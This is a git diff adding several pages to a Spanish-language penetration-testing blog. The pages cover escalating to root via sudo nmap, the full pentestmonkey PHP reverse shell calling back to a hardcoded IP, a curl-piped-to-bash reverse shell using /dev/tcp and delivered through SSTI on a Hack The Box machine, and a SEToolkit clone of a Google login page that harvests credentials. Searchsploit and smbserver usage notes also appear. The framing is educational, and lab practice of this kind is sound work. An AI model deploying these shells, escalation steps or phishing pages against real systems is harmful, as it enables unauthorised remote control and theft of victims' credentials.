    Debemos de fijarnos que tengamos permisos sudo sobre nmap. En tal caso, utilizaremos el siguiente comando para establecer una shell interna:

    + +
    sudo nmap --interactive
    +
    + +

    Captura de pantalla -2022-05-29 16-21-09

    + +

    Una vez establecida la shell de nmap, usaremos la expresión !sh para acceder como root.

    + +
    !sh
    +
    + +

    Captura de pantalla -2022-05-29 16-21-39

    + +

    Directamente, pasaremos a estar registrados como el usuario root del sistema.

    + +

    +

    Opciones de Nmap.

    +
      +
    • 10.10.10.0/24 Rango de red de destino.
    • +
    • -sn: Deshabilita el análisis de puertos.
    • +
    • -Pn Deshabilita las solicitudes de echo ICMP.
    • +
    • -n Deshabilita la resolución DNS.
    • +
    • -PE Realiza el análisis de ping mediante solicitudes de eco ICMP contra el destino.
    • +
    • --packet-trace Muestra todos los paquetes enviados y recibidos.
    • +
    • --reason Muestra el motivo de un resultado específico.
    • +
    • --disable-arp-ping Deshabilita las solicitudes de ping ARP.
    • +
    • --top-ports=<num> Analiza los puertos superiores especificados que se han definido como más frecuentes.
    • +
    • -p- Escanea todos los puertos.
    • +
    • -p22-110 Escanea todos los puertos entre 22 y 110.
    • +
    • -p22,25 Analiza solo los puertos especificados 22 y 25.
    • +
    • -F Escanea los 100 puertos principales.
    • +
    • -sS Realiza un TCP SYN-Scan.
    • +
    • -sA Realiza un TCP ACK-Scan.
    • +
    • -sU Realiza un UDP Scan.
    • +
    • -sV Analiza los servicios descubiertos en busca de sus versiones.
    • +
    • -sC Realiza un análisis de secuencias de comandos con secuencias de comandos que se clasifican como "predeterminadas".
    • +
    • --script <script> Realiza un análisis de secuencias de comandos mediante los scripts especificados.
    • +
    • -O Realiza un análisis de detección del sistema operativo para determinar el sistema operativo del destino.
    • +
    • -A Realiza análisis de detección del sistema operativo, detección de servicios y traceroute.
    • +
    • -D RND:5 Establece el número de señuelos aleatorios que se utilizarán para escanear el objetivo.
    • +
    • -e Especifica la interfaz de red que se utiliza para el análisis.
    • +
    • -S 10.10.10.200 Especifica la dirección IP de origen para el análisis.
    • +
    • -g Especifica el puerto de origen para el análisis.
    • +
    • --dns-server <ns> La resolución dns se realiza mediante un servidor de nombres especificado.
    • +
    • -oA filename Almacena los resultados en todos los formatos disponibles comenzando con el nombre de "filename".
    • +
    • -oN filename Almacena los resultados en formato normal con el nombre "filename".
    • +
    • -oG filename Almacena los resultados en formato "grepable" con el nombre de "filename".
    • +
    • -oX filename Almacena los resultados en formato XML con el nombre de "filename".
    • +
    • --max-retries <num> Establece el número de reintentos para los análisis de puertos específicos.
    • +
    • --stats-every=5s Muestra el estado del escaneo cada 5 segundos.
    • +
    • -v/-vv Muestra una salida detallada durante el análisis.
    • +
    • --initial-rtt-timeout 50ms Establece el valor de tiempo especificado como tiempo de espera RTT inicial.
    • +
    • --max-rtt-timeout 100ms Establece el valor de tiempo especificado como tiempo de espera RTT máximo.
    • +
    • --min-rate 300 Establece el número de paquetes que se enviarán simultáneamente.
    • +
    • -T <0-5> Especifica la plantilla de temporización específica. Siendo 0 el más lento y 5 el más rápido.
    • +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + \ No newline at end of file diff --git a/Web/php-reverse-shell.html b/Web/php-reverse-shell.html new file mode 100644 index 00000000000..ddbc89b71f4 --- /dev/null +++ b/Web/php-reverse-shell.html @@ -0,0 +1,459 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Shell
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + PHP SHELL + + + + + + + + + + + + + + + + + + + + + +

    php-reverse-shell.php

    + +

    Este script realizará una conexión TCP saliente a una +IP y un puerto codificados.

    + +

    El destinatario recibirá un shell ejecutándose como el +usuario actual (normalmente apache).

    + +

    Repositorio:

    + +

    Podéis enconmtrar y copiar el script al final de ester artículo o descargarlo desde el siguiente elace.

    + + +

    Configuración:

    + +

    La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip +por la de nuestro sistema y establecer el puerto por el que queremos ponernos +en escucha.

    + +

    Abrimos una terminar y modificamos el archivo php-reverse-shell.php.

    + +
    sudo nano php-reverse-shell.php
    +
    + +

    Captura de pantalla -2022-04-13 12-42-02

    + +

    Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber cuál es nuestra Ip, podemos verlo mediante el +comando ‘ipconfig’:

    + +
    sudo ifconfig
    +
    + +

    Captura de pantalla -2022-04-13 12-42-15

    + +

    Guardamos (Cntrl + o) y salimos (Cntrl + x).

    + +

    Ejecución:

    + +

    Primero cargamos el archivo php-reverse-shell.php a una máquina víctima. Luego, mediante la herramienta NetCat +nos pondremos por escucha por el puerto previamente definido (en nuestro caso el 8080):

    + +
    nc -lnvp 8080
    +
    + +

    Ejecutamos el archivo php-reverse-shell.php (recargamos el navegado en la dirección en la que se encuentre el +archivo). Si todo ha funcionado correctamente se nos tendría que abrir una shell en la terminal en la que estábamos +en escucha.

    + +

    Captura de pantalla -2022-04-13 12-50-19

    + +

    En caso de no funcionaros un puerto, seguir probando, ya que en muchas ocasiones esos puertos están cerrados y no +se puede acceder a través de ellos.

    + +

    Otra causa de fallo habitual es que el sistema tenga algún firewall que no permita pasar a la reverse shell.

    + +
    <?php
    +// php-reverse-shell - A Reverse Shell implementation in PHP
    +// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
    +//
    +// This tool may be used for legal purposes only.  Users take full responsibility
    +// for any actions performed using this tool.  The author accepts no liability
    +// for damage caused by this tool.  If these terms are not acceptable to you, then
    +// do not use this tool.
    +//
    +// In all other respects the GPL version 2 applies:
    +//
    +// This program is free software; you can redistribute it and/or modify
    +// it under the terms of the GNU General Public License version 2 as
    +// published by the Free Software Foundation.
    +//
    +// This program is distributed in the hope that it will be useful,
    +// but WITHOUT ANY WARRANTY; without even the implied warranty of
    +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    +// GNU General Public License for more details.
    +//
    +// You should have received a copy of the GNU General Public License along
    +// with this program; if not, write to the Free Software Foundation, Inc.,
    +// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
    +//
    +// This tool may be used for legal purposes only.  Users take full responsibility
    +// for any actions performed using this tool.  If these terms are not acceptable to
    +// you, then do not use this tool.
    +//
    +// You are encouraged to send comments, improvements or suggestions to
    +// me at pentestmonkey@pentestmonkey.net
    +//
    +// Description
    +// -----------
    +// This script will make an outbound TCP connection to a hardcoded IP and port.
    +// The recipient will be given a shell running as the current user (apache normally).
    +//
    +// Limitations
    +// -----------
    +// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
    +// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
    +// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
    +//
    +// Usage
    +// -----
    +// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
    +
    +set_time_limit (0);
    +$VERSION = "1.0";
    +$ip = '10.10.15.1';  // CHANGE THIS
    +$port = 8080;       // CHANGE THIS
    +$chunk_size = 1400;
    +$write_a = null;
    +$error_a = null;
    +$shell = 'uname -a; w; id; /bin/sh -i';
    +$daemon = 0;
    +$debug = 0;
    +
    +//
    +// Daemonise ourself if possible to avoid zombies later
    +//
    +
    +// pcntl_fork is hardly ever available, but will allow us to daemonise
    +// our php process and avoid zombies.  Worth a try...
    +if (function_exists('pcntl_fork')) {
    +	// Fork and have the parent process exit
    +	$pid = pcntl_fork();
    +	
    +	if ($pid == -1) {
    +		printit("ERROR: Can't fork");
    +		exit(1);
    +	}
    +	
    +	if ($pid) {
    +		exit(0);  // Parent exits
    +	}
    +
    +	// Make the current process a session leader
    +	// Will only succeed if we forked
    +	if (posix_setsid() == -1) {
    +		printit("Error: Can't setsid()");
    +		exit(1);
    +	}
    +
    +	$daemon = 1;
    +} else {
    +	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
    +}
    +
    +// Change to a safe directory
    +chdir("/");
    +
    +// Remove any umask we inherited
    +umask(0);
    +
    +//
    +// Do the reverse shell...
    +//
    +
    +// Open reverse connection
    +$sock = fsockopen($ip, $port, $errno, $errstr, 30);
    +if (!$sock) {
    +	printit("$errstr ($errno)");
    +	exit(1);
    +}
    +
    +// Spawn shell process
    +$descriptorspec = array(
    +   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    +   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    +   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
    +);
    +
    +$process = proc_open($shell, $descriptorspec, $pipes);
    +
    +if (!is_resource($process)) {
    +	printit("ERROR: Can't spawn shell");
    +	exit(1);
    +}
    +
    +// Set everything to non-blocking
    +// Reason: Occsionally reads will block, even though stream_select tells us they won't
    +stream_set_blocking($pipes[0], 0);
    +stream_set_blocking($pipes[1], 0);
    +stream_set_blocking($pipes[2], 0);
    +stream_set_blocking($sock, 0);
    +
    +printit("Successfully opened reverse shell to $ip:$port");
    +
    +while (1) {
    +	// Check for end of TCP connection
    +	if (feof($sock)) {
    +		printit("ERROR: Shell connection terminated");
    +		break;
    +	}
    +
    +	// Check for end of STDOUT
    +	if (feof($pipes[1])) {
    +		printit("ERROR: Shell process terminated");
    +		break;
    +	}
    +
    +	// Wait until a command is end down $sock, or some
    +	// command output is available on STDOUT or STDERR
    +	$read_a = array($sock, $pipes[1], $pipes[2]);
    +	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    +
    +	// If we can read from the TCP socket, send
    +	// data to process's STDIN
    +	if (in_array($sock, $read_a)) {
    +		if ($debug) printit("SOCK READ");
    +		$input = fread($sock, $chunk_size);
    +		if ($debug) printit("SOCK: $input");
    +		fwrite($pipes[0], $input);
    +	}
    +
    +	// If we can read from the process's STDOUT
    +	// send data down tcp connection
    +	if (in_array($pipes[1], $read_a)) {
    +		if ($debug) printit("STDOUT READ");
    +		$input = fread($pipes[1], $chunk_size);
    +		if ($debug) printit("STDOUT: $input");
    +		fwrite($sock, $input);
    +	}
    +
    +	// If we can read from the process's STDERR
    +	// send data down tcp connection
    +	if (in_array($pipes[2], $read_a)) {
    +		if ($debug) printit("STDERR READ");
    +		$input = fread($pipes[2], $chunk_size);
    +		if ($debug) printit("STDERR: $input");
    +		fwrite($sock, $input);
    +	}
    +}
    +
    +fclose($sock);
    +fclose($pipes[0]);
    +fclose($pipes[1]);
    +fclose($pipes[2]);
    +proc_close($process);
    +
    +// Like print, but does nothing if we've daemonised ourself
    +// (I can't figure out how to redirect STDOUT like a proper daemon)
    +function printit ($string) {
    +	if (!$daemon) {
    +		print "$string\n";
    +	}
    +}
    +
    +?> 
    +
    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/plantillafinal.html b/Web/plantillafinal.html new file mode 100644 index 00000000000..030b2799b59 --- /dev/null +++ b/Web/plantillafinal.html @@ -0,0 +1,222 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Plantilla + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/reverse_shell_curl.html b/Web/reverse_shell_curl.html new file mode 100644 index 00000000000..63643a59c4b --- /dev/null +++ b/Web/reverse_shell_curl.html @@ -0,0 +1,341 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Shell
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Curl + + + + + + + + + + + + + + + + + + + + + +

    Como establecer una reverse Shell con el comando Curl

    + +

    En este artículo vamos a ver como establecer una reverse shell mediante una petición con Curl.

    + +

    ¿Qué es Curl?

    + +

    Curl es una herramienta cuya finalidad es transferir datos a través de una URL. Es un comando disponible en la mayoría de los +sistemas basados en Unix. Es una abreviatura de Client URL. Los comandos de Curl están diseñados para funcionar como una forma +de verificar la conectividad a las URL y como una gran herramienta para transferir datos.

    + +

    Captura de pantalla 2022-07-21 225432

    + +
      +
    • Información más detallada del funcionamiento de Curl –> Link
    • +
    + +

    Ejecución:

    + +

    Para realizar esta operación lo primero que debemos comprobar es que podamos realizar la petición desde el equipo víctima y que este tenga Curl instalado. +Una vez tenemos esto solucionado vamos a ver el funcionamiento de manera básica.

    + +

    Cuando realizamos una petición con Curl desde la máquina víctima:

    + +

    curl [Ip de Escucha]

    + +

    curl 10.10.14.25

    + +

    Y nosotros nos ponemos en escucha desde nuestra terminal, utilizando un servicio HTTP montado con Python 3 por el puerto 80:

    + +

    sudo python3 -m http.server 80

    + +

    El funcionamiento es el siguiente, cuando Curl envía una petición a nuestro equipo, estamos realizando una petición a HTTP tratando de conseguir +un Index.html (Para poder interpretar la página), aquí es donde viene la trampa.

    + +

    Lo que nosotros vamos a hacer es crear nuestro propio archivo index.html, de forma que por dentro tenga los comandos para establecer una reverse shell con bash. +De esta manera, cuando hagamos la petición por Curl y le ordenemos ejecutarlo con bash se nos abrirá la reverse shell que hayamos establecido.

    + +

    El archivo index.html debe guardarse en el mismo directorio desde donde utilicemos el servicio HTTP.

    + +

    Ejemplo Práctico:

    + +

    Vamos a necesitar tres terminales, una desde donde ejecutar la petición por Curl desde el equipo víctima, una segunda donde usaremos el servicio HTTP para +compartir el archivo index.html y una tercera donde nos pondremos en escucha con NetCat (Aquí recibiremos la reverse shell).

    + +

    Lo primero que vamos a hacer es preparar nuestro archivo index.html, creamos una carpeta llamada shell independiente para que nos sea más fácil:

    + +
    sudo mkdit shell
    +
    + +

    Captura de pantalla -2022-07-21 23-14-02

    + +
    cd shell
    +
    + +

    Captura de pantalla -2022-07-21 23-15-05

    + +

    Ahora creamos y definimos nuestro archivo index.html:

    + +

    sudo nano index.html

    + +

    Captura de pantalla -2022-07-21 23-15-52

    + +

    Copiamos y pegamos el siguiente código:

    + +
    #!/bin/bash
    +
    +bash -i >& /dev/tcp/[Vuestra Ip]/[Puesto de escucha de NetCat] 0>&1
    +
    +
    + +

    Debería de quedar algo así:

    + +
    #!/bin/bash
    +
    +bash -i >& /dev/tcp/10.10.14.25/443 0>&1
    +
    + +

    Captura de pantalla -2022-07-21 23-16-43

    + +

    Una vez copiado con vuestros datos, guardáis (Ctrl x O) y salís (Ctrl + X).

    + +

    Bien, ya tenemos nuestra reverse shell en bash preparada y apuntado al puerto 443. Ahora, desde la misma terminal y permaneciendo en el directorio que contenga +el archivo que acabamos de crear, vamos a ejecutar el servicio HTTP con Python 3 para poder compartir el archivo index.html.

    + +
    sudo python3 -m http.server 80
    +
    + +

    Captura de pantalla -2022-07-21 23-18-18

    + +

    Captura de pantalla -2022-07-21 23-18-32

    + +

    Abrimos nuestra segunda terminal y ponemos a Netcat en escucha por el puerto 443:

    + +
    sudo nc -lvnp 443
    +
    + +

    Captura de pantalla -2022-07-21 23-18-57

    + +

    Captura de pantalla -2022-07-21 23-19-19

    + +

    Ya tenemos nuestro puerto preparado para recibir la reversehe shell.

    + +

    Finalmente, nos dirigimos a la terminal donde estemos en contacto con la víctima, es este ejemplo realizaré la petición usando BurpSuite ejecutando el comando +dentro de un SSTI. Pero básicamente, lo que debemos es realizar la siguiente petición desde el equipo víctima:

    + +
    curl 10.10.14.25 | bash
    +
    + +
      +
    • Curl : Realizará la petición y copiará el archivo index.html desde nuestro servidor creado en Python 3.
    • +
    • bash : Ordena la ejecución o interpretación del comando definido dentro del archivo, en nuestro caso, establecer una reverse shell por el puerto 443.
    • +
    + +

    Captura de pantalla 2022-07-21 231821

    + +

    Captura de pantalla 2022-07-21 231506

    + +

    Como podéis ver, el comando Curl está dentro de la inyección SSTI, de tal forma que ya solo quedaría enviar la petición. También podemos ver como en la terminal del servidor HTTP nos indica un Get con código de confirmación 200.

    + +

    Captura de pantalla -2022-07-21 23-19-53

    + +

    Tras ejecutar este último comando se nos tendría que haber abierto una Shell en la terminal por la que estábamos en escucha con NetCat.

    + +

    Captura de pantalla -2022-07-21 23-20-30

    + +

    Captura de pantalla -2022-07-21 23-20-07

    + +

    Para este ejemplo hemos utilizado la máquina Nunchuchks de Hack the Box.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/searchSploit.html b/Web/searchSploit.html new file mode 100644 index 00000000000..62cc14a5126 --- /dev/null +++ b/Web/searchSploit.html @@ -0,0 +1,334 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + SearchSploit + + + + + + + + + + + + + + + + + + + + + +

    SearchSploit

    + + + +

    +

    ¿Qué es SearchSploit?

    + +

    Searchsploit es una herramienta de búsqueda de línea de comandos para Exploit-DB que te permite llevar contigo una copia de Exploit DataBase +(la base de datos más extensa de exploits), muy útil cuando no tienes acceso a Internet.

    + +

    Básicamente, busca exploits relacionados con las palabras que le proporcionemos, que pueden ser, nombres del sistema, versiones, servicios, programas que se +estén ejecutando,etc. Contiene exploits para tanto para sistemas Windows como para Linux y muchas de sus distribuciones.

    + +

    +

    Instalación:

    + +

    Si estás utilizando la versión estándar de Kali Linux, el paquete exploitdb ya está incluido de forma predeterminada. Sin embargo, si estás utilizando otro, +puedes instalar el paquete manualmente de la siguiente manera:

    + +
    apt update && apt -y install exploitdb
    +
    + +

    También puedes clonarte la herramienta desde los repositorios de GitHub:

    + +
    git clone https://github.com/offensive-security/exploit-database.git
    +
    + +

    Ejecución:

    + +

    Opciones:

    + +

    Podemos ver todas las funciones de este comando utilizando la opción --help:

    + +
    searchsploit --help
    +
    + +

    +

    Búsqueda General:

    + +

    Para realizar una búsqueda global de algo que nos llame la atención simple meten ejecutamos el comando searchsploit seguido de la palabra que deseamos buscar:

    + +
    searchsploit [Palabra a Buscar]
    +
    + +

    Ejemplo:

    + +
    searcsploit Explore
    +
    + +

    +

    Búsqueda por Títulos:

    + +

    El uso de la opción -t habilita el parámetro título para buscar un exploit con un título específico. Porque por defecto, searchsploit intentará tanto el título +del exploit como la ruta. La búsqueda de un exploit con un título específico da resultados rápidos y ordenados.

    + +
    searchsploit -t [Palabra a Buscar]
    +
    + +

    +

    Distinguir Mayúsculas y Minúsculas:

    + +

    Al usar la opción –c, se puede realizar una búsqueda que distingue entre mayúsculas y minúsculas. Esto permite descubrir la vulnerabilidad relacionada con la +mención de caracteres específicos en el comando, de manera predeterminada hace una búsqueda insensitive.

    + +

    +

    Copiar ruta del Exploit al portapapeles:

    + +

    Al emplear la opción -p, se muestra la ruta completa de un exploit. Esta opción proporciona más información relacionada con el exploit, así como también copia +la ruta completa del exploit al portapapeles, todo lo que se necesita es presionar las teclas Ctrl + v para pegar.

    + +
    searchsploit 39166
    +
    +searchsploit -p 39166
    +
    + +

    +

    Excluir Resultados:

    + +

    Al utilizar la opción --exclude, se habilita el parámetro de exclusión para eliminar los resultados no deseados dentro de la lista de exploits.

    + +
    searchsploit [Palabra a Buscar] -w --exclude="[Palabra Excluida]"
    +
    + +

    +

    Copiar Exploit al directorio actual:

    + +

    La opción -m copia un exploit en el directorio de trabajo actual. Esta opción proporciona la misma información que la anterior relacionada con el +exploit, pero también copia la vulnerabilidad en tu directorio actual de trabajo.

    + +
    searchsploit -m [Nombre del Exploit]
    +
    +searchsploit -m 39166
    +
    + +

    +

    Examinar resultados de NMAP:

    + +

    Como todos sabemos, Nmap tiene una característica muy notable que te permite guardar el resultado de salida en formato .xml y podemos identificar +cada vulnerabilidad asociada con el archivo xml de nmap.

    + +

    La forma recomendada de realizar la lectura con nmap es la siguiente:

    + +
    nmap -sV [Ip Víctima] -oX resultado.xml
    +
    + +

    Ya tenemos los resultados de nmap guardados en el archivo resultado.xml, ahora con searchsploit, empleando la opción -x podemos examinar y con +la opción -nmap comprobar todos los resultados en la salida XML de Nmap para averiguar el exploit relacionado con ello.

    + +
    searchsploit -x --nmap resultado.xml
    +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/setoolkit.html b/Web/setoolkit.html new file mode 100644 index 00000000000..b2de351c07d --- /dev/null +++ b/Web/setoolkit.html @@ -0,0 +1,363 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramienta
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Setoolkit + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es Setoolkit?

    + +

    Se trata de un kit de herramientas de ingeniería social (SET) creado por Devid Kennedy. El equipo de Devid mantiene muy activo su set de herramientas + de forma que siempre se agregan nuevas funciones y ataques. Más recientemente, también se agregaron varias herramientas de ingeniería no social a SET, + lo que la convierte en una herramienta de ataque muy sólida.

    + +

    Instalación:

    + +

    Para instalar esta herramienta realizaremos lo siguiente, primero vamos a nuestro escritorio y creamos una carpeta llamada SEToolkit:

    + +
    cd Desktop
    +
    +mkdir SEToolkit
    +
    +cd SEToolkit
    +
    + +

    Ahora nos clonaremos el siguiente repositorio de GitHub en el directorio SEToolkit:

    + +
    git clone https://github.com/trustedsec/social-engineer-toolkit setoolkit/
    +
    + +

    Una vez clonado, entramos en el directorio setoolkit:

    + +
    cd setoolkit
    +
    + +

    Podemos ver mediante ls todos los archivos clonados. Ahora procederemos a la instalación de todos los +requisitos necesarios para Setoolkit:

    + +
    sudo pip3 install -r requirements.txt
    +
    + +

    Y finalmente realizamos la instalación de la herramienta:

    + +
    sudo python setup.py
    +
    + +

    Con esto ya tendríamos instalada nuestra herramienta. Importante, si el usuario normal no os permite utilizarla es porque os faltan permisos +de ejecución y, por tanto, tendréis que utilizar la herramienta como root.

    + +

    Ejecución:

    + +

    Para ejecutarlo y poder acceder a sus múltiples herramientas, simplemente ejecutamos lo siguiente:

    + +
    sudo setoolkit
    +
    + +

    Captura de pantalla -2022-05-07 11-59-13

    + +

    La interfaz de SET es muy intuitiva, simplemente tendremos que marcar el número del panel en función del tipo de ataque que +queramos realizar, y también, proporciona mucha información mediante en cada uno de sus paneles de opciones guiándote durante todo +el proceso.

    + +

    Captura de pantalla -2022-05-07 12-01-03

    + +

    Crear una página falsa para capturar credenciales:

    + +

    En este ejemplo, voy a mostrar como crear mediante la herramienta SEToolkit como crear una página falsa de autentificación de Google, también +es posible aplicarlo a infinidad de páginas de registro o de relleno de credenciales, pero para el ejemplo usaremos una que viene +predefinida en la herramienta.

    + +

    Empleando estos metedos, los cibercriminales engañan a sus víctimas haciéndose pasar por cualquier tipo de servicio o entidad y de esta +forma robarles todos los datos posibles, desde nombres o usuarios, hasta cuentas bancarias, números de tarjetas de crédito, contraseñas, etc, +interdependientemente de la longitud o dificultad de la contraseña, ya que simplemente se reporta al atacante cuando se ingresa dicha información.

    + +

    En primer lugar, vamos a comprender como se realiza el ataque:

    + +
      +
    1. Primero generaremos mediante Setoolkit una página falsa se inició de sesión de Google.
    2. +
    3. Esta página quedará registrada en nuestra localhost.
    4. +
    5. Finalmente, cuando se introduzcan las credenciales en la página, se nos reportaran en la terminal del programa.
    6. +
    + +

    Esto es un ejemplo muy simple que voy a mostrar como prueba, se puede realizar este ataque de maneras mucho más complejas y difíciles de detectar. +Recalco que emplear está herramienta con alguien que no te lo haya autorizado es completamente ilegal y que este artículo esta escrito con la +finalidad de mostrar como actúan los cibercriminales. Dicho esto vamos a ver el ejemplo.

    + +

    Crear página de inicio de sesión de Google:

    + +

    Ejecutamos la herramienta y seguimos los siguientes pasos:

    + +
    sudo setoolkit
    +
    + +

    Captura de pantalla -2022-05-07 11-59-13

    + +

    La herramienta que vamos a utilizar es la Social-Engienering Attacks que corresponde al número 1. Tener en cuenta que los números pueden +variar en función de la versión, ya que periódicamente se incluyen herramientas y funciones. Introducimos 1 y pulsamos Enter:

    + +
    1
    +
    + +

    Captura de pantalla -2022-05-07 12-03-51

    + +

    Ahora vamos a seleccionar el método de ataque Website Attack Vectors que me corresponde con el número 2:

    + +
    2
    +
    + +

    Captura de pantalla -2022-05-07 12-04-11

    + +

    Lo siguiente que le debemos de indicar, es el tipo de ataque web que vamos a utilizar, en este caso, que lo que queremos es robar sus credenciales, +utilizaremos el modo Credential Harvester Attack Method que corresponde con el número 3:

    + +
    3
    +
    + +

    Captura de pantalla -2022-05-07 12-05-00

    + +

    Ya lo tenemos casi, solo nos queda especificar que clase de página vamos a mostrar. Como veis también nos da la opción 2 que es la de clonar +algún sitio web y así ajustarse más al tipo de víctima. En nuestro caso vamos a seleccionar la opción 1 que ya nos muestra algunas páginas web +que la herramienta nos muestra de serie, así que seleccionaremos Web Templates:

    + +
    1
    +
    + +

    Captura de pantalla -2022-05-07 12-06-26

    + +

    Vemos como la misma herramienta nos muestra tres opciones predefinidas, Java, Google y Twitter. Vamos a utilizar la de Google así que marcamos +la 2.

    + +

    Captura de pantalla -2022-05-07 12-06-43

    + +

    En caso de preguntarnos si utilizamos NAT se lo indicamos y luego simplemente presionamos enter y veremos como el sistema se quedará a la escucha:

    + +

    Captura de pantalla -2022-05-07 12-08-14

    + +

    La página ya está completamente funcional, ahora simplemente nos dirigimos a un navegador, en mi caso Firefox y para ejecutar la página escribimos +localhost o 127.0.0.1 que es donde se aloja la página de forma predeterminada. Esto podemos cambiarlo, pero para este tutorial nos sobrará. +Vamos al navegador y abrimos la página:

    + +

    Captura de pantalla -2022-05-07 12-08-42

    + +

    Captura de pantalla -2022-05-07 12-08-56

    + +

    Captura de pantalla -2022-05-07 12-09-11

    + +

    Como vemos la página es muy realista, ahora simplemente escribimos unas credenciales (no tienen por qué ser válidas, el programa nos reportara todo +lo que se escriba). Para que se vea que esto funciona independientemente de la dificultad de la contraseña, hemos introducido un password con +variedad de caracteres.

    + +

    Captura de pantalla -2022-05-07 12-10-00

    + +

    Captura de pantalla -2022-05-07 12-10-17

    + +

    Y finalmente podemos ver como se nos reporta todo en la terminal desde la cual ejecutamos el ataque:

    + +

    Captura de pantalla -2022-05-07 12-10-37

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/settarget.html b/Web/settarget.html new file mode 100644 index 00000000000..3e68bd81bf2 --- /dev/null +++ b/Web/settarget.html @@ -0,0 +1,263 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad..
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + SetTarget + + + + + + + + + + + + + + + + + + + + + +

    SetTarget

    + +

    Captura de pantalla -2022-05-10 14-01-28

    + +

    Mediante la siguiente función podremos colocar el nombre y la Ip de las máquinas que estamos realizando en la polybar.

    + +
    function settarget(){
    +    ip_address=$1
    +    machine_name=$2
    +    echo "$ip_address $machine_name" > /home/tuUsuario/.config/bin/target
    +}
    +
    + +

    Para poder tener esta funcion activa simpmente tendremos que pegar la funcion en el archivo .bashrc o .zshrc dependiendo de si estamos utilizando +una shell Bash o Zsh. En mi caso utilizo Zsh, asi que nos dirigimos al archivo .zshrc.

    + +

    Captura de pantalla -2022-05-10 14-44-40

    + +

    Copiamos la función. Nos dirigimos hasta nuestro directorio de usuario /home/Usuario (Usuario es el vuestro) y mediante el comando nano abrimos el archivo y lo pegamos.

    + +
    nano .zshrc
    +
    + +

    Una vez pegado, guardamos con Cntrl + o y salimos Cntrl + x.

    + +

    Para poder mostrar la función en la Polybar, agregaremos el siguiente script target_to_hack al direcorio ~/.config/bin/:

    + +
    
    +#!/bin/zsh
    + 
    +ip_address=$(cat ~/.config/bin/target | awk '{print $1}')
    +machine_name=$(cat ~/.config/bin/target | awk '{print $2}')
    + 
    +if [ $ip_address ] && [ $machine_name ]; then
    +    echo "%{F#000000} ${F#ffffff}$ip_address%{u-}  $machine_name"
    +else
    +    echo "${F#000000} %{u-}%{F#000000} No target"
    +fi
    +
    +
    + +

    Para ejecutar la función simplemente le especificamos la Ip y el nombre de la máquina de Hack the Box:

    + +
    settarget [Ip Máquina] [Nombre de la Máquina]
    +
    + +

    Captura de pantalla -2022-05-10 14-46-25

    + +

    En caso de no ejecutarse mediante root. Nos registramos como root y repetimos la misma operación.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/smbserver.html b/Web/smbserver.html new file mode 100644 index 00000000000..0c5f9fc1d09 --- /dev/null +++ b/Web/smbserver.html @@ -0,0 +1,243 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Smbserver + + + + + + + + + + + + + + + + + + + + + +

    Crear recurso compartido con Smbserver:

    + +
    smbserver.py smbFolder $(pwd) -smb2support
    +
    + +

